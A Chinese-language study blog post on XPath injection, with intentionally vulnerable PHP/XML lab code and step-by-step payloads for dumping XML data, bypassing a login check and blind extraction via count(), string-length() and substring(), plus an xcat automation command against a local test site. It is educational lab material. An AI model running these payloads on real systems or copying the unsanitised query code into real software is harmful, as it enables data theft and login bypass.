XPath注入学习

XPath注入学习

这篇记录是看完先知社区:XPATH注入学习写的,所以可能很多内容是重复的。写这篇记录仅仅为了让自己更好的掌握XPath注入。

0x01 XPath入门

在学习XPath注入之前,先了解一下什么是XPath
学习入口:W3school学习XPath
按照我个人的理解,XPath就是用于查询xml节点的查询语句,类似于T-SQL。

0x02 XPath注入原理

XPath注入原理类似于SQL注入,当程序没有对用户输入的数据进行过滤就拼接到XPath查询语句中时,就可能产生XPath注入。但是与SQL注入不同的时,XPath没有用户权限这一说法,所以XPath注入容易导致所有XML数据泄露。

0x03 实例

实例1

// 1.php
<?php 
$xml = simplexml_load_file('test.xml');
$query = "user/username[@name='" . $_GET['name'] . "']";
$result = $xml->xpath($query);

foreach($result as $k => $v){
        echo $k . ' => ' . $v . '<br />';
}
?>
<!--test.xml-->
<?xml version="1.0" encoding="utf-8"?>
<root>
    <user>
        <username name='user1'>user1_value</username>
        <username name='user2'>user2_value</username>
        <username name='user3'>user3_value</username>
        <username name='user4'>user4_value</username>
        <username name='user5'>user5_value</username>
        <username name='user6'>user6_value</username>
        <username name='user7'>user7_value</username>
    </user>
    <flag>
        <value>flag{57e7f266bb0dc62f2cb0f25976c14e93}</value>
    </flag>
</root>

正常XPath功能
当我们访问地址http://ctf.cn/1.php?name=user1时,查询语句是:user/username[@name='user1']。所以会查询user下的username节点,且username节点name属性的值为user1的节点内容。返回结果如下:

判断注入点
当我们在参数值中输入单引号'时,页面出现XPath查询报错,说明可能存在XPath注入。
此时的XPath语句:user/username[@name='user1'']

进一步判断注入点(获取更多数据)
当我们输入' or '1'='1时,可以看到将user/username下的所有节点值都查询出来了。
此时的XPath语句:user/username[@name='user1' or '1'='1']

获取整个xml文件数据
但是我们显然是不满足于获取这点数据的,XPath中一个类似于SQL注入中' or '1'='1的payload:']|//*|//*[',我们尝试一下:
此时的XPath语句:user/username[@name='user1']|//*|//*['']

payload解析
payload:']|//*|//*['

  1. 这里首先通过']闭合前面的语句,然后使用|运算符(使用|拼接多个语句时会返回多个语句查询结果的节点并集)拼接多个语句。
  2. 拼接的//*查询文档中所有元素
  3. 最后的//*['是为了闭合后面的']

实例2

在一些情况下,虽然后台代码执行了我们注入的XPath语句,当时没有回显数据,这时候就需要一些手段来进行盲注了。

// login.php
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title></title>
</head>

<body>
    <form method="POST">
        username:
        <input type="text" name="username">
        </p>
        password:
        <input type="password" name="password">
        </p>
        <input type="submit" value="登录" name="submit">
        </p>
    </form>
</body>

</html>
<?php
if (file_exists('account.xml')) {
    $xml = simplexml_load_file('account.xml');
    if ($_POST['submit']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $x_query = "/accounts/user[username='{$username}' and password='{$password}']";
        print_r('XPath query:' . $x_query);
        $result = $xml->xpath($x_query);
        if (count($result) == 0) {
            echo '
登录失败';
        } else {
            echo "
登录成功";
            $login_user = $result[0]->username;
            echo "you login as $login_user";
        }
    }
}
?>
<!--account.xml-->
<?xml version="1.0" encoding="UTF-8"?>
<accounts>
    <user id="1">
        <username>Twe1ve</username>
        <email>admin@xx.com</email>
        <accounttype>administrator</accounttype>
        <password>P@ssword123</password>
    </user>
    <user id="2">
        <username>test</username>
        <email>tw@xx.com</email>
        <accounttype>normal</accounttype>
        <password>123456</password>
    </user>
</accounts>

下面的内容很多是照抄的,但是加了自己对payload细节的理解😅
XPath盲注步骤:

  • 判断根节点下的节点数量
  • 判断根节点下节点长度
  • 判断根节点下节点名称
  • ......
  • 重复猜解完成所有

从根节点开始判断
count()函数返回节点数量
'or count(/)=1 and ''='
'or count(/*)=1 and ''='
这里的count(/)和count(/*)效果是一样的,都是获取根节点数量。而一个xml文件,仅允许有一个根节点,所以按照我个人的理解,这一步应该可以省略(非权威!!!)。然后还发现文章中的payload结尾用or ''='的话表达式恒等于真,没法判断,所以我改用and ''='了。

判断根节点长度为8
string-length()函数返回字符串长度
'or string-length(name(/*[1]))=8 and ''='
或者
'or string-length(name(/*))=8 and ''='
因为只有一个根节点,可以不使用[1]来指定第一个节点

猜解根节点名称
substring()函数类似于mysql的substring()
'or substring(name(/*[1]), 1, 1)='a' and ''='
或者
'or substring(name(/*), 1, 1)='a' and ''='
最终猜测得出根节点名称为:accounts

猜解根节点accounts下的子节点数量
' or count(/accounts/*)=2 and ''='

猜解根节点accounts下的第一个子节点名称长度
' or string-length(name(/accounts/*[1]))=4 and ''='

猜解根节点accounts下的第一个子节点名称
' or substring(name(/accounts/*[1]),1,1)='u' and ''='
最终猜测得出名称为:user

猜解/accounts/user下第一个子节点名称长度
' or string-length(name(/accounts/user/*[1]))=8 and ''='

猜解/accounts/user下第一个子节点名称
' or substring(name(/accounts/user/*[1]),1,1)='u' and ''='
最终猜测得出名称为:username

验证猜解结果
' or substring(name(/accounts/user[1]/*[1]),1)='username' and ''='

继续猜解/accounts/user[1]/username[1]/下是否有子节点
' or count(/accounts/user[1]/username/*)=0 and ''='
长度=0,无子节点

猜解/accounts/user[1]/username[1]的数据长度
' or string-length(/accounts/user[1]/username[1])=6 and ''='
数据长度为6

猜解/accounts/user[1]/username[1]的数据
' or substring((/accounts/user[1]/username[1]),1,1)='T' and ''='
最终数据为:Twe1ve

以此类推,最终获得所有的数据

0x04 自动化

手工盲注的时候你肯定很想念SQL注入中的sqlmap,XPath也有自动化的注入工具:XCat
官方和--help的使用说明着实让我难受,我这里就贴出我使用的命令行:

xcat run -e FORM -m POST --true-string Twe1ve http://ctf.cn/login.php password password=P@ssword123
// login.php
// account.xml是引用实例2中的
<?php
if (file_exists('account.xml')) {
    $xml = simplexml_load_file('account.xml');

        $username = 'Twe1ve';
        $password = $_POST['password'];
        $x_query = "/accounts/user[username='{$username}' and password='{$password}']";
        //print_r('XPath query:' . $x_query);
        $result = $xml->xpath($x_query);
        if (count($result) == 0) {
            echo '
登录失败';
        } else {
            echo "
登录成功";
            $login_user = $result[0]->username;
            echo "you login as $login_user";
        }

}
?>

命令解析:
run 注入数据

-e 有两个值,URL或FORM,分别指定将payload放在URL上还是FORM上,就是get和post

--true-string 指定当页面出现某个字符串时查询条件为真,这里设置Twe1ve是因为登录成功时会提示登录成功you login as Twe1ve

http://ctf.cn/login.php 为请求的URL

password 请求参数

password=P@ssword123 请求参数的值,当值为P@ssword123时查询语句为真

在使用过程中,发现xcat无法指定多个参数。也就是说,xcat测试POST参数存在注入的时候只能发送username=admin,不能发送username=admin&password=pass。GET好像可以通过-b来指定一个文件,但是具体没有尝试过。通过多次测试没有找到可正常使用的办法,太菜了!
执行结果:

未解决的问题

看到先知社区:XPATH注入学习中一些payload使用position()=1来定位第1个节点,但是用[1]一样可以,为什么要写更复杂,这里我没有弄明白。希望各位师傅们能指点一下。


有不对的地方,还望各位师傅斧正!

posted @ 2020-08-25 15:02  Gcker  阅读(213)  评论(0编辑  收藏